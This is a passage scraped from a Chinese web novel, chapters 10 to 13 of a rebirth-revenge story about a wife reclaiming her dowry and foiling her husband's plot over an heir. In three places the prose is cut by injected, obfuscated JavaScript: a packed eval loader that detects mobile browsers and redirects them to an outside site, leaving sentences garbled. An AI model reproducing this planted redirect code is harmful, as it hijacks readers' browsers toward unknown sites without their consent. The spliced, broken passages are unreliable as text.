“我有多少钱,那是我的嫁妆,是我的私产,我嫁过来已经为你们李家换了宅子,如今府中仆婢的月钱也都是从我嫁妆里出,我这么做已是全了情分,任谁来了对我也无可指摘,我没有义务承担你与婆母的日常花销,要怪你就去怪婆母不善经营,没能给自己儿女留下几分薄产,如今,你只能靠你兄长那点俸禄。” 赵清仪说罢,俏月便出面将李素素赶了出去,“咱们奶奶做的已经够多了,你可别得寸进尺!惹恼了奶奶,你和老太太就回你们李家老宅住去吧!” 最后一个话音落下,院门砰的关上。 李素素碰了一鼻子灰,气得原地跳脚,“等我哥哥过几日回来,你们就死定了!” 赵清仪弯起唇角,她巴不得李彻快些回来,她倒要看看,府里两个败家娘儿们,届时再多一个外室,多一个奸生子,李彻如何养得起这个家。 10. 第 10 章 这一夜,赵清仪睡得格外香沉,翌日一早,管事照例过来请安。 负责外头铺子的罗大罗二以为今日会和昨日一般,轻飘飘放了他们,就在他二人准备起身告退时,赵清仪开口了。 “今日我要去巡视铺子,罗大罗二,你们就跟在后面吧。” 罗大罗二昨夜就得了罗氏吩咐,决不能让赵清仪把铺子要回去,面上还是顺从应是。 赵清仪梳着简单的发髻,鬓发却整理得一丝不苟,一身折枝芙蓉纹十样锦立领长衫配石榴红金线马面裙,更显几分年轻主母的气度风华,虽无繁复的金银宝石点缀,却让人不敢小觑。 待她走到前头,罗大罗二在后面悄悄挤眉弄眼,自以为糊弄的时候到了,出了街门,却发现门口早就等着十几号人。 为首者湛蓝锦袍,长身玉立,相貌温润却可见三分凌厉,与赵清仪那股绵里藏针的气势十分相似。 见到赵清仪出来,孟嘉文俊颜舒展,“表妹,你要的人我都给你带来了,全都是经营管账的一把好手。” 孟家有钱,最不缺的就是能顶事的掌柜。 “多谢表哥仗义相助。”赵清仪见过礼,笑得眉眼弯弯。 未出阁时,她便与这位表哥交情甚好,如今孟家家业几乎都交到了孟嘉文手中,能帮衬她的地方自然也就多了。 罗大罗二傻了眼,什么意思?大奶奶是要把孟家的掌柜,安插到自己的铺面里? 不等罗大罗二反应过来,赵清仪便戴上帷帽,与孟嘉文一同往街上走去。 赵清仪手中是半份嫁妆单子,当初陪嫁了多少铺面,位于何处,记得清清楚楚,孟嘉文手中也有一份,甚至还有过去经营的账目,准备一起到铺子里合算,罗氏想仗着赵清仪年轻不懂事,昧下她的钱,如今有表哥这个纵横商贾十来年的老手出面,罗氏的所有布局可谓竹篮打水一场空了。 十几个掌柜一同运作,半日功夫,她与孟嘉文就盘查了五家盈收最好的铺面,这些铺子大多是经营酒楼或女子生意,譬如衣裳首饰,胭脂水粉之类,都是上京时下最挣钱的行业。 同样是罗氏动手脚最多的地方。 里头的掌柜伙计基本全换成了罗氏的娘家人,大字不识几个,算盘都不会打,就跑来当掌柜了,天长日久,再好的风水宝铺也得砸罗氏手里,更别说这一个两个手脚还不干净。 赵清仪没同这些人客气,该赶走全赶走,敢明目张胆从铺子里偷拿东西变卖的,如罗大罗二这些人,直接让孟家人捆了送去官府,少说得让他们受上三五年的牢狱之刑。 最后赵清仪与孟嘉文在酒楼后的茶室里静坐,把罗氏三年来从她铺子里贪走的钱算了总账,与她最初盘账时估算的大差不差,竟高达上万两白银。 孟嘉文目瞪口呆,万万没想到表妹在李家过的竟是这种日子。 “依我看,表妹报官吧。”孟嘉文又压低了声,“衙门里不少人受过孟家恩惠,多少会偏帮于你。” “我知道的。”赵清仪垂下眼帘,鸦羽似的细密长睫在眼下投出两道阴影,意味不明地笑笑,“总会有用到的时候。” 现在光有这些,还不足以对罗氏,对李家一击毙命,她要的是让整个李家覆灭,永远翻不了身。 见她胸有成竹,孟嘉文便不多事了,“横竖有了困难,就派人到孟家找我,表哥能帮的一定帮。” 说到帮忙,赵清仪想到了父亲的事,“对了,上回拜托表哥去给我父亲送信,可送到了?” “放心吧,孟家正好有一批青瓷是要运往山西的,就让镖局的人一并将信护送过去,现下,姑父姑母应该收到信了。” 父母能收到她的信才是最要紧的,赵清仪暗暗松了口气,算算时日,朝廷很快就下放任书了,希望父亲能依她信中所言,绕路晚几日再进京,也好避开前世劫匪出现的时间。 正当赵清仪想得出神,檀月打帘进到茶室里,“大奶奶,张小姐来了。” 孟嘉文当即起身,“既然表妹有客人,我就先回避了,人手都留给你,有事就到孟家找我。” 看样子,他似乎很了解“张小姐”是何人,倒是赵清仪,一梦多年,一时对这个称呼有些陌生,目送孟嘉文从酒楼后门离去,檀月才把人请进来。 是个与赵清仪年纪相当,身量修长纤薄的妙龄少女,穿着青绿色金扣刺绣交领短衫,鹅黄暗花绫罗裙,步履款款,仪态端庄,面容虽不算绝色,却透着一股世家贵女的书卷气,一看便知是出身不凡。 “清仪姐姐,果然是你。” 进到茶室,少女一直端着的肩头微微松懈下来,她径直走到赵清仪身旁坐下,熟稔地给自己倒了一杯茶水。 “方才在街上瞧见你,觉得身形熟悉,又不敢贸然上前与你相认,直到见你进了酒楼,我与掌柜打听才知真的是你。” 赵清仪足足愣了盏茶功夫,终于从陈旧记忆中翻找出关于眼前人的记忆,眼眶倏地红了,“婉、婉琰?” 赵清仪想起来了,张婉琰,她昔日闺中的手帕交,也是当朝首辅张淮虚唯一的嫡女。 只是前世她嫁入李家后,便与张婉琰少了联系,再后来听到关于张婉琰的消息是在自己嫁人后的第四年,宫中花神宴上传出她与外男私通之事,为保名节,不久后张婉琰自缢而亡。 在赵清仪的人生里,关于张婉琰的记忆太过久远,如今再见到活生生的好友,一时莫名红了眼眶。 张婉琰一怔,随后打趣,“这是许久未曾见到我,高兴过了头?” “是啊。”赵清仪并不掩饰,指腹擦去眼角的泪,她如释重负般笑着,“你怎么得空来见我了?” “先前早就想见你,还让人往你府上送了拜帖,只是你没回,正好方才在街上看到你,我便忙着过来了。” 赵清仪很快就想到,那拜帖应该是被罗氏截了去。 “我这儿有件喜事要告诉你。”张婉琰看似循规蹈矩,背地里与赵清仪在一起时,方见她端庄表面下的赤忱活跃。 她附身过去,“前段时日我路过父亲书房,偶然听到消息,陛下有意提拔令尊入内阁。” 这事对重生归来的赵清仪已不是秘密,但她还是配合张婉琰的话,露出恰到好处的惊讶与惊喜,“当真?如此说来,我岂不是很快便能与我父亲家人团聚了?” “是真的,我父亲亲口说的,应当不会有错。” 张婉琰拉过赵清仪的手,轻轻拍了拍,“就是知道你这些年思念家人,所以我刚得了消息,就想着来告诉你一声,也好让你高兴高兴。” 张婉琰说着,笑容又淡了些,眼中掠过复杂神色,“只是,你要有所准备,陛下提拔令尊入内阁,是为了让令尊与我父亲一起推行新政,这新政触犯太多权贵仕宦利益,朝中反对者众,恐怕令尊回京后,少不得是非纠缠。” “还有你夫君入翰林一事……”张婉琰神色愧疚。 除却京中流言,李彻仕途受阻只怕还和新政有关,毕竟李彻是赵清仪的夫君,是赵清仪父亲的女婿,多少会受到牵连。 赵清仪却不在意李彻的仕途,横竖他有今日都是拜赵家所赐,如今受了牵连也是他该受的。 赵清仪更关心的是新政,不由正色,“陛下想推行新政,莫非是你父亲张阁老提出的新政十策?” 张婉琰郑重点头。 茶室一时陷入静默,阳光透过雕花窗棂斜斜洒在小叶紫檀茶几上,白雾袅袅。 上辈子赵清仪困在宅院里,对朝堂之事了解不多,却知道当初闹得沸沸扬扬的新政十策,因为太过震撼人心,以至于推行过程中阻碍重重,后来她了解过新政内容,不得不佩服张阁老的真知灼见,便鼓励李彻投效张阁老。 也算是富贵险中求,虽然反对者众,好在当今陛下力排众议,支持新政,十数年后,新政颇见成效,而张阁老不久病重致仕,内阁首辅这把椅子便顺理成章交到了李彻手中。 重活一世,她才知道当初父亲调任至内阁,竟也肩负了推行新政的任务。 那父亲回京路遇劫匪,还会是意外吗? 赵清仪凝眉沉思,不知不觉捏紧了手中的青瓷茶杯,微微凸起的骨节泛白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625645|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 张婉琰一直盯着她的反应,有些惴惴不安的问,“清仪姐姐,你怎么了?” 赵清仪回过神,舒出口气,“没什么,只是想起一些旧事,今日多谢你告知的消息。” “我们是好姐妹,不必这样客气,你也别太担心,我还听说陛下已经安排了锦衣卫暗中监视各府,想必像你我这样支持新政的人家,不会轻易出事的。” 张婉琰握住她的手,快六月的天,她的手却那样冰凉,“听说你嫁人后,身子骨一日不如一日,如今可有好些?” “会好的。”赵清仪莞尔,眼眸如同蓄着一池安稳的静水,没有一丝波澜。 等李家倒了,她自然百病皆消。 亲自送张婉琰出了酒楼,赵清仪命人带上厚厚的账册,坐着轿子回府,进门时还看到了特意等着她的罗氏母女,不过眼下她没有心情与之周旋,索性装看不见,越过她们往揽月阁去了。 徒留罗氏母女大眼瞪小眼,鼻孔里一个劲儿的出气。 “真真是当家了,愈发不把我这婆母放在眼里!” 罗氏甩着丝绢,生怕一个气不过又要晕过去,“这日子没法过了,快些叫人去催,让我彻儿早些回来,好好惩治这个刁妇!” 也是巧了,赵清仪回到屋里,同样想起李彻马上回府的事情,估摸着就这三五日的功夫了。 父亲若搅和到新政里,少不得是是非非,她若想帮上父亲,须得把自己宅子里的琐事料理了。 思及此,赵清仪挥手叫檀月上前来,“我记得城郊庄子上有个叫玉袖的婢子。” 檀月是不会记着这些鸡毛蒜皮的事,便喊了管事妈妈进来,管事妈妈听到“玉袖”这个名儿,老脸微微一变。 “大奶奶,她不过是大爷从前未娶妻时的陪房丫头,早被打发到庄子上了,您记着她作甚?” 说话时,管事妈妈眼神闪躲,根本不敢直视赵清仪的眼睛,赵清仪便知自己没有记错。 上辈子她快死了才知道,李彻从前有个极其宠爱的陪房丫鬟,名唤玉袖,二人可谓青梅竹马之谊,只是玉袖地位卑贱,罗氏不希望因为此人的存在影响了与赵家的婚约,便在登门求亲前,瞒着李彻把玉袖送走了。 而玉袖被送走之时,身边还有个四岁的儿子,如今那孩子也该七岁了。 赵清仪倚在美人榻上,细指轻叩案几,不疾不徐地吩咐,“既然妈妈记得这个人,明儿一早,你就带檀月过去,亲自把玉袖母子接回来。” 听得她说玉袖母子,管事妈妈膝弯一软,扑通跪下,“大奶奶,此事奴婢不是有意要瞒着您……” “别紧张。”赵清仪含笑打断她,“我早就知晓她们母子的存在,过去只是不想计较,如今大爷要回来了,我想大爷必然也是惦记她们母子的,索性趁此给玉袖一个恩典,将她抬作贵妾,那个孩子,便是我李家的长子了。” 赵清仪一番话,说得屋中几人瞠目结舌。 居然不是要派人打死那玉袖,还要把人带回府里? 管事妈妈犹疑不定,琢磨不出赵清仪这是真心话,还是另有深意。 直到赵清仪再次下令,“我要见到活着的玉袖母子,另外,此事暂时不要让婆母知道。” 管事妈妈这才领命下去。 檀月和俏月已经听愣了,敢情大爷在迎娶她们奶奶过门之前,就已经和陪房有了奸生子? 这岂不是骗婚! 俏月气不过,“不行,咱们奶奶凭什么受这份委屈?我要去赵家告诉老夫人!” 还是檀月及时拦下她,“瞧你那急吼吼的性子,奶奶既然发话要把人带回来,就说明咱们奶奶自有主意,你可别冲动坏了奶奶好事。” 俏月总算冷静下来,转头看了眼赵清仪的反应,她还在榻上优哉游哉吃着茶点果子,并未动怒,俏月才相信自家奶奶是另有打算,生生把火气憋了回去。 夜色深浓,上京悄然下起了濯枝雨,青灰的檐角落着斜飞的水珠,淅淅沥沥敲打在碧纱窗上。 六月了。 李彻也快抵京了。 11. 第 11 章 这几日赵清仪没再大动干戈,府中一切在她的规矩下井然有序,晌午过后,檀月与管事妈妈从揽月阁的角门进来,后头跟着两道怯生生的影子。 下着雨的缘故,外头几乎没什么人,自然也无人注意玉袖母子,很快人就到了廊下。 从庄子出来时,母子俩特意梳洗整洁,只是那浆洗得褪了颜色的银红交领短衫,还是遮掩不住她数年来所受的苦。 玉袖不敢进门,在门口拉着儿子跪地磕头,嗓音颤颤,“奴婢玉袖,给大奶奶请安。” 赵清仪倚在榻上翻看账册,鬓边的翡翠流苏随着她翻动账册的动作轻轻摇晃,她听到玉袖母子的声音,将账册搁至一旁,“进来罢。” 玉袖母子这才小心翼翼迈步进来,母子俩皆低着头。 赵清仪坐直了身,叹道,“当年我下嫁李家前,并不知你母子二人存在,连累你们在庄子上受苦,是我不察之过。” 玉袖摸不准她的脾气,作势又要跪,赵清仪没拦着,一双美目清波流转,静静看着。 “大奶奶言重了,是奴婢该谢大奶奶救命之恩才对,若不是您想起我们母子,只怕我们要在庄子上老死过去,所以您的恩情,奴婢没齿难忘,必当结草衔环报答于您。”玉袖双手交叠,高高拜下。 赵清仪毫不意外,因为上辈子把玉袖从庄子上接回来的,正是她的庶出堂妹赵漫仪,那时玉袖也是这般感恩戴德,自愿跟在赵漫仪这个外室身边为奴为婢。 可她赵清仪不一样,她要抬举玉袖做贵妾,还把她儿子带回来,玉袖自然恨不得替她上刀山下火海。 赵清仪走到玉袖母子面前站定,弯腰扶了一把。 一直低垂着眼的玉袖,只能看见裙摆下露出的一点绣鞋尖,上头是珍珠缀成的蜻蜓眼,金贵可见一斑。 这就是……大爷的发妻么? 玉袖一时失神,在赵清仪的搀扶下站起了身,四目相对的瞬间,玉袖便觉自惭形秽。 一众婢子里,她能成为李彻的陪房自然有她的过人之处,相貌清丽,美目含情,便是生过孩子,亦是柳腰婀娜,楚楚动人。 玉袖不曾在哪个人面前自卑过,却在看清赵清仪后红了脸,“大奶奶……” 赵清仪紧接着扶起了她旁边的孩子,五官随玉袖多一些,生得眉清目秀,只是板着脸故作老成,又朝赵清仪作揖,“见过大奶奶。” 赵清仪莫名笑了,询问玉袖,“你今年多大了?这个孩子可有取名?” 说到年纪,玉袖面色羞赧,“奴婢今年二十有五了,比大爷虚长半岁,至于我儿,未能上李家族谱,便没有名姓,只一个乳名骄儿,如今也七岁了。” 赵清仪心中有了计较,又多看了那孩子一眼,不由想到前世养子的背叛,心中百感交集。 她问:“孩子可有开蒙读书?” “奴婢早些年跟着大爷,略识得几个字,胡乱教了一些。” 基本情况了解,赵清仪嗯了声,重新坐回榻上,“大爷不日回府,我有意抬你做妾,至于这个孩子,我想同你商量,待你过门后将他过继到我膝下,从此便是府中嫡长子,你意下如何?” 前世的养子是个白眼狼,那她就换一个儿子! 屋中几人再次愣住,玉袖有种天上掉馅饼,正好砸中她的错觉,半晌,扑通一声再次跪下,哭出了声,“大奶奶若真抬举我儿,奴婢……奴婢便是即刻死了,也心甘情愿!” “我让你过府,是要你好好伺候大爷,可不是叫你随便去死的。”赵清仪示意婢子给她们母子看茶,又多看了那孩子一眼。 玉袖忙拉了他一把,“傻孩子,大奶奶抬举你,往后你就是府里的少爷,再也不用跟着为娘吃苦受罪了,还不快谢大奶奶恩典!” 那孩子也上道,知道有好事掉自己头上了,恭恭敬敬地说,“多谢大奶奶。” “你可以学着,唤我一声母亲。” 同样不是亲生的,至少眼前这孩子更顺眼。 那孩子偷眼观察自己亲娘,见玉袖哭得泪眼朦胧,脸上却是笑着,便知道这一切也是娘亲心之所愿,当即给赵清仪磕了三个响头,“儿子给母亲请安!” 他会按照娘亲的意愿,好好侍奉嫡母,将来挣个锦绣前程。 玉袖彻底控制不住,掩面直哭。 做母亲的,哪有不希望自己孩子有个体面身份的?眼下大奶奶要认这个孩子,那么从今往后,她的儿子就不再是上不得台面的奸生子,而是李家正儿八经的嫡长子了! 同样高兴的不止玉袖母子,赵清仪看着座下乖巧顺从的养子,红唇缓缓上扬。 李彻赵漫仪这对奸.夫.淫.妇,恐怕机关算尽也想不到,她们觊觎的嫡长子之位,已经易主了吧。 玉袖母子回府的事并没有瞒太久,当晚琼华堂的罗妈妈就发现玉袖的身影,当即慌不择路跑去禀报罗氏。 罗氏正要就寝,吓得魂飞魄散,一个没注意从榻上滚了下来,“你说谁?谁回来了?” “老太太,是玉袖啊!” 罗妈妈急得不行,“就是当初被您赶去庄子上的玉袖啊!听说,她还带着那孩子回来了,就在揽月阁里!” 罗氏慌忙披了衣裳要去揽月阁,边走边问,“到底谁让玉袖回来了?我不是瞒得好好的,怎么就让赵氏知道了?” 她平日再爱摆婆母的架子,玉袖母子的事也不敢叫赵清仪知道,毕竟那是李彻为娶妻前便有的孩子,是为奸生子,而提亲之时她刻意瞒下了,才哄骗赵家履行婚约,真要追究起来,可不得给她彻儿扣个骗婚的屎盆子。 罗氏走得跌跌撞撞,刚进揽月阁就被绊了一跤,摔了个大马趴。 不知是否巧合,歇在厢房的玉袖正好端了盆洗脚水出来,趁着夜色朝外一泼,罗氏刚从地上起来,就被泼了一脸的洗脚水,当即尖叫出声。 玉袖花容失色,洗脚盆一丢,扑通跪下,诚惶诚恐,嘴角却是笑着,当初就是罗氏这老虔婆把她赶出府,早晚有一日,这仇她得报回来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625646|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 罗氏的尖叫引来了主屋里的赵清仪,她见此情形,不着痕迹笑了笑。 而罗氏刚要破口大骂,瞧见她出来,也顾不得收拾玉袖,忙堆起笑脸过去,“好儿媳,你……” 她打量着赵清仪的脸色,又看了眼一旁的玉袖,“是你把玉袖母子接回来的?” “是。”赵清仪答得从容坦率,“婆母当初隐瞒的事,我已经知道了。” 罗氏身子一抖,差点又要背过气去。 就听赵清仪慢悠悠地说,“婆母若不想奸生子以及李家骗婚之事被揭发,就尽快开祠堂,把骄儿过继到我膝下。” 罗氏想晕过去,闻言不晕了,她睁大了眼睛,难以置信,“你、你当真不计较?还要过继那个孩子?” 天底下还有这种好事? 罗氏不敢相信赵清仪会这么好心。 “我身子不好,恐怕难有子嗣,横竖骄儿都是李家血脉,让他过继到我膝下,做我李家嫡长子再合适不过,不过在此之前,需得抬玉袖做贵妾,对外骄儿才有个合理身份,如此再行过继大礼,也算两全其美,婆母不愿意?” “愿意愿意!我当然愿意了!” 罗氏生怕赵清仪反悔,点头如捣蒜,“只是,你怎么会……” “婆母觉得我别有用心?”赵清仪挑眉反问。 “我不是这个意思……”罗氏略显尴尬地移开目光,那个孩子已经从厢房里出来了,和玉袖站在一处。 赵清仪顺着视线看过去,冲李骄招招手,那孩子便跑了过来,“母亲。”再看罗氏,犹豫半晌,作揖道,“祖母。” 罗氏一瞬心花怒放,对着李骄左看右看。 该说不说,这孩子虽然生得像玉袖,可罗氏依旧能从他身上看到自己儿子的影子,确实是李彻亲生的没错了。 这些年来,罗氏几乎都快忘了这对母子,不见时不觉得有什么,可见着了,她便忍不住疼惜这个孩子,毕竟是她彻儿膝下头一个孩子,又是男孩儿,能回到李家,她自然宝贝着。 连带对赵清仪也没有一开始那般刻薄了,至少在子嗣上,二人想法是一致的,再者,赵清仪实在富裕,孩子若过继到她膝下,将来这孩子科举读书要打点仕途,还是娶妻生子时要出重金下聘,都有赵清仪操持,不必她和李彻费心筹谋。 罗氏清了清嗓子道,“既然你有主意,与这孩子有缘,那便依了你,顺便抬玉袖做贵妾,择日……不,即刻开宗祠,行过继大礼!” 毕竟是对李家百利无一害的事,虽不知赵清仪打的什么主意,罗氏还是希望这件事尽快定下,以免横生枝节。 赵清仪等的就是这句话,只是她算了算时日,“婆母不必着急,良辰吉日我已提前寻人算过了,就定在后日,六月初三如何?” 上一世,李彻紧赶慢赶,就是在六月初三晌午过后才回到家中。 这一世,她就要在李彻抱着那个奸生子回府当日,把李骄过继到膝下,让李彻和赵漫仪的打算彻底落空! 12. 第 12 章 “好好好!”罗氏满口应下,当夜让人准备起来。 所幸李家嫡系就剩李彻这一脉,京中并无族老宗亲,至于旁支宗族,罗氏向来不愿走动,过继之事倒也用不着请旁支的人,只由罗氏一人说了算。 初二当晚,仆婢便将祠堂打扫干净,备下香烛纸钱,酒帛牲畜用以祭告祖先,玉袖也换上了一身体面长衫,与李骄一起站在赵清仪身旁,只等天一亮就去官府报备,立下文书。 到了吉时,罗氏不敢有一刻耽误,在官府之人的见证下,将李骄的名字纳入族谱,焚香磕头,自此,七岁的李骄便是赵清仪名正言顺的嫡长子了。 赵清仪在文书上签字画押后,看着李骄冲自己行拜礼,心头一块石头总算落地。 木已成舟,等李彻抱着与赵漫仪的孩子回来,再说什么都是无用,毕竟过继的事儿可是他的好母亲罗氏主动要求操办的,要怪,也怪不到她头上。 在场之人个个喜不自胜,赵清仪顺便将府里最后一处空置的院子琉璃斋拨给玉袖,而李骄还是继续与玉袖生活在同个院里,每日只须按时到揽月阁请安便是。 一切琐事安排好后,赵清仪没有回房,而是在前厅坐着,像是在等什么人。 罗氏与李素素正高兴,索性陪她坐在一处,打算商量李骄开蒙读书之事,玉袖则在一旁奉茶倒水。 赵清仪看了眼日头,漫不经心地说,“家中没有私塾,又只有骄儿一个少爷,依我看,不若送到赵家族学,与赵家郎君们一起读书,婆母觉得如何?” 能送去赵家族学,无疑又替李家省了先生的束脩,罗氏哪有不愿的道理? 连连点头,“如今你掌家是越发得心应手了,这些事,你自个儿拿主意便好。” 赵清仪面上含笑,她心情不错,并未揭穿罗氏那点心思,接过玉袖递来的钧窑天青盏,葱指捏着茶盖轻轻撇去浮沫,以袖掩面啜饮。 看她不紧不慢的样子,罗氏与李素素对视一眼,不敢再像从前那般大呼小叫,只耐心地等,等了许久,没等到赵清仪的后文,却是等来了门房小厮的声音。 “大、大爷回来了!大爷回来了!” 厅中几人除了赵清仪,皆倏地起身,罗氏面上大喜,“我儿回来了?哎呀,今儿个真真是好日子!” 李家不仅有嫡长子了,李彻也回来了。 李素素同样高兴,搀着罗氏就要往门口去,只有玉袖见赵清仪不动,便也没动。 她小声问,“奶奶,咱们……不去门口相迎吗?” “不必。” 下一瞬,一道修长高大的身影绕过廊庑,阔步朝前厅而来,一袭墨绿色云纹团花湖绸直裰,墨发高束,眉目清隽。 不是李彻又是谁? 几乎在进来的刹那间,李彻的目光便掠过母亲妹妹,落在主座上。 赵清仪始终垂目吃茶,待察觉有人看过来,方才撩起眼皮,与李彻的目光隔空对上。 杏眸黑沉,仿若冬日里的幽邃深井凝了寒霜,一眼便冷得人脊骨发颤。 李彻的心猛地一紧,可再定睛一瞧,那女子已收回了目光,放下茶盏,纤腕微抬间,又显出高门贵女的婉约动人。 是他的错觉么? 李彻不由放缓了脚步,唇角下垂,有些不高兴。 他实在不喜欢这种被人居高临下瞧不起的感觉,当年他李家也不是没有发达过,赵清仪又何必在自己面前摆出这幅高高在上的姿态?就连他回府了,也不知起身相迎。 李彻心中不满,站定在距离赵清仪十步远的位置,罗氏与李素素已经在他耳边叽叽喳喳说了许多话,他一个字也没听进去。 直到他的小厮青石跟了上来,怀里还抱着一个约莫三岁的孩童。 罗氏与李素素脸上的笑意僵住,看了眼孩子,再看看李彻。 “彻儿,这……这哪儿来的孩子?” 李彻回神,朝罗氏略一施礼,“母亲,儿子这次回来,就是想同您商量件事……” 他还没说具体何事,门房再次跑进来,这次是跑到了赵清仪跟前,“大奶奶,外头来了位太太,说是您的三妹妹。” 来了。 赵清仪眸底闪过一丝兴奋,红唇勾起好看的弧度,“那是贵客,还不快请进来。” 门房被她这一笑晃了眼,旋即应是,慌忙跑了出去。 这一幕和上辈子简直如出一辙,李彻前脚进来,小厮抱着奸生子紧随其后,再然后,她那守寡的庶出堂妹赵漫仪,打着姐妹叙旧的幌子登门拜访。 她原以为一切不过巧合,如今看来,处处都是破绽。 赵漫仪还是太心急了,迫不及待想看她认下那个奸生子。 此时李彻正与罗氏李素素解释,“我是想着清仪身子不好,不愿她受生育之苦,便从李家旁支抱了一个孩子回来,让他过继到咱们家承嗣香火……” “不行!” 罗氏从一开始的欣喜若狂,陡然转变成横眉怒喝,“当我李家是善堂吗?我们才不替别人养儿子!” 李素素的脸色也不大好看,“这么大的事,哥哥不提前知会娘一声便擅自做主,未免太冲动了。” 主要是哥哥月俸就那么点,还不够她和娘日常花销,谁都不想浪费银钱,替别人养孩子。 李彻没想到自己母亲妹妹反应如此大,那孩子仿佛也感受到了罗氏与李素素的不喜,张嘴便哭。 赵漫仪远远听到哭声,一路小跑着进来,好在尚存一丝理智,先冲赵清仪几人行礼,“大姐姐,伯母,李姑娘。” 因为守寡,赵漫仪一直穿着素色长裙,不施粉黛,端的是弱柳扶风,清姿出尘。 她飞快打量几人的脸色,讪讪地说,“没想到大姐夫也正巧今日回来,竟是我来得不是时候了。” “怎么会呢?”赵清仪露出一个虚伪至极的笑容,却没有半点要与她亲近的意思。 赵漫仪只好看向罗氏与李素素,二人不约而同移开目光,似乎是生气。 过去她也曾来李家,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625647|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗氏李素素有些交情,那时她们可不像现在这般冷淡。 难道,是罗氏与李素素见到她的儿子,不高兴? 那孩子一直哭,李彻又不会带,抱在怀里哄了半日不见消停,赵漫仪都快心疼死了,碍于身份,不好上前。 罗氏心烦地挥挥手,“快抱走快抱走!哪里来的就送回哪儿去,我李家可不养闲人!” 一听这话赵漫仪急了,赶忙说,“伯母别急,我试试哄哄这个孩子。”说罢走到李彻面前接过孩子,仿佛初次见面一般新奇,抱到一旁柔声安抚。 孩子到了赵漫仪怀里果然不再哭了,李彻暗暗松了口气,转向罗氏,“母亲……” “没得商量。”罗氏此刻心比那铁杵还硬,或许是刚有了嫡长孙的缘故,她底气十足。 李彻只好转向赵清仪,放缓声音,“清仪,我在鹤山县这些年都听说了,你嫁过来后身子一向不好,我不想你太过辛苦再为我生儿育女,所以我抱了个孩子……” 赵漫仪含笑听着前世已经听过的说辞,不置可否。 玉袖适时上前两步,一脸娇羞地福了福身,“妾身玉袖,向大爷问安。” 李彻余下的话哽在喉中,认真端详了玉袖几眼,似乎才认出来。 “玉、玉袖?你怎么回来了?” 玉袖怯怯应了声,双颊绯红,“是大奶奶怜惜妾身,便在大爷回来之前将妾身接了回来,做主将妾身纳了,如今,妾身已是大爷房里的人。” 此话一出,李彻震惊得说不出话来,他居然,稀里糊涂的就多了一个小妾? 就连站在一边哄孩子的赵漫仪都不淡定了,她刚想迈出步子,想到自己和李彻商量过的主意,又生生忍下了。 不,她不能冲动,纳妾什么的不重要,当务之急,是要说服赵清仪过继她的骏哥儿。 赵清仪默默将这二人的反应看在眼中,给玉袖递了个眼神,玉袖了然,去了趟后院,不多时,便领着李骄出来了。 “少爷。” 过继之后,李骄的嫡母便是赵清仪,明面上玉袖这个妾室只能称呼李骄为少爷,她示意李骄看向李彻,语气激动,“少爷你快看,那就是你的亲生父亲,是你心心念念想了很多年的亲生父亲啊!” 她刻意咬重了“亲生”二字。 李骄一听,当即上前规规矩矩行了跪拜大礼,“儿子李骄,见过父亲!” 仿佛一道晴天霹雳落在李彻与赵漫仪头上,二人齐声惊呼,“什么?” 此话一出,顿觉失言,李彻还好,赵漫仪一个外人惊讶什么?罗氏本就不悦,睨了赵漫仪一眼。 赵漫仪死死抱着怀里的儿子,难以置信地看了眼李骄,最后似是质问的眼神落在李彻这个男人身上。 在一起四年了,他从来没和自己说过,他和别的女人还有一个儿子! 那儿子居然都长这么大了! 那她为李彻偷偷生下的骏哥儿又算什么?他可是答应过她,要让她的骏哥儿做李家嫡长子的! 13. 第 13 章 李彻不敢去看赵漫仪,他现在是一个头,两个大,他完全没想过有朝一日玉袖母子会回到李家,而玉袖的孩子,居然还被赵清仪认下了。 他捏着眉心,语带责怪,“过继这么大的事,你怎可擅自做主?” “夫君。”赵清仪温柔浅笑,“骄儿本就是你的血脉,是你头一个孩子,总不能一直流落在外,我才做主把他接回来,但这奸生子的名头实在难听,正好我膝下无子,过继给我,算是两全其美。” “这件事,婆母也是答应了的。” 赵清仪笑吟吟的,拿出今早立下的过继文书,“夫君你看,文书都立好了,一家团聚的好事,夫君不应该高兴吗?” “不错!”罗氏当即附和,“难得儿媳大度不计较,你又撒什么火气?” “母亲,儿子不是这个意思……”李彻被堵得哑口无言。 玉袖忽然掩面啜泣,“莫非是大爷不愿见到我们母子?还是因为厌弃了妾身,所以连带着骄儿也不受他亲生父亲待见?若真如此,那妾身不如带着骄儿一头撞死算了!” 见她真要撞柱,罗氏与李彻慌忙去拉,玉袖本就是装装样子,很快顺势跌入李彻怀中嘤嘤哭泣。 她虽二十有五了,却还有几分当年的姿色,再加上她毕竟是李彻头一个女人。 男人嘛,总是对自己第一个女人格外不同的。 玉袖这梨花带雨一番哭泣,成功让李彻软了心肠。 